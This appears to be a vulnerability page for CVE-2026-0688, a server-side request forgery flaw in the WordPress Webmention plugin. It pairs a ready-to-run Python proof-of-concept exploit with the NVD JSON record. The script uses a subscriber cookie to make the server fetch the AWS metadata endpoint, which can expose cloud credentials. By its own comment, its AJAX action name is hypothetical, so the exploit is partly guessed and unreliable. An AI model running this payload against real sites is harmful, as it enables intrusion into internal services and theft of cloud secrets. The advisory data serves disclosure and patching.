CVE-2026-0688

#!/usr/bin/env python3 import requests def exploit_ssrf(target_url, attacker_url, wp_cookie): """ Proof of Concept for CVE-2026-0688 Triggers SSRF in WordPress Webmention Plugin via Tools::read. Requires valid Subscriber-level cookies. """ # The vulnerable endpoint is typically part of the plugin's AJAX handling # Assuming the endpoint structure based on plugin behavior endpoint = f"{target_url}/wp-admin/admin-ajax.php" headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } # Payload targeting an internal service or external callback payload = { "action": "webmention_request", # Hypothetical action name "url": attacker_url # Malicious URL (e.g., http://127.0.0.1:80) } try: # Send the request with authentication cookies response = requests.post(endpoint, data=payload, headers=headers, cookies=wp_cookie) if response.status_code == 200: print(f"[+] Request sent to {target_url}.") print(f"[+] Server likely sent a request to: {attacker_url}") print(f"[+] Response Body: {response.text[:100]}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Configuration TARGET = "http://localhost:8000" # Replace with actual target MALICIOUS_URL = "http://169.254.169.254/latest/meta-data/" # Example: AWS Metadata # Cookie string typically looks like "wordpress_logged_in_...=..." # You need to acquire this by logging in as a subscriber COOKIE = {"wordpress_logged_in_xxx": "your_cookie_value_here"} exploit_ssrf(TARGET, MALICIOUS_URL, COOKIE)

{"cve": {"id": "CVE-2026-0688", "sourceIdentifier": "[email protected]", "published": "2026-04-02T08:16:28.057", "lastModified": "2026-04-27T19:04:22.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Webmention plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.6.2 via the 'Tools::read' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/pfefferle/wordpress-webmention/blob/057223cee18a9e93b017d0f21db6ea77a7686489/includes/class-tools.php#L81", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/webmention/tags/5.6.2/includes/class-tools.php#L81", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3494831/webmention", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/02c9beba-dfa5-4a30-8355-62ff9a2630f7?source=cve", "source": "[email protected]"}]}}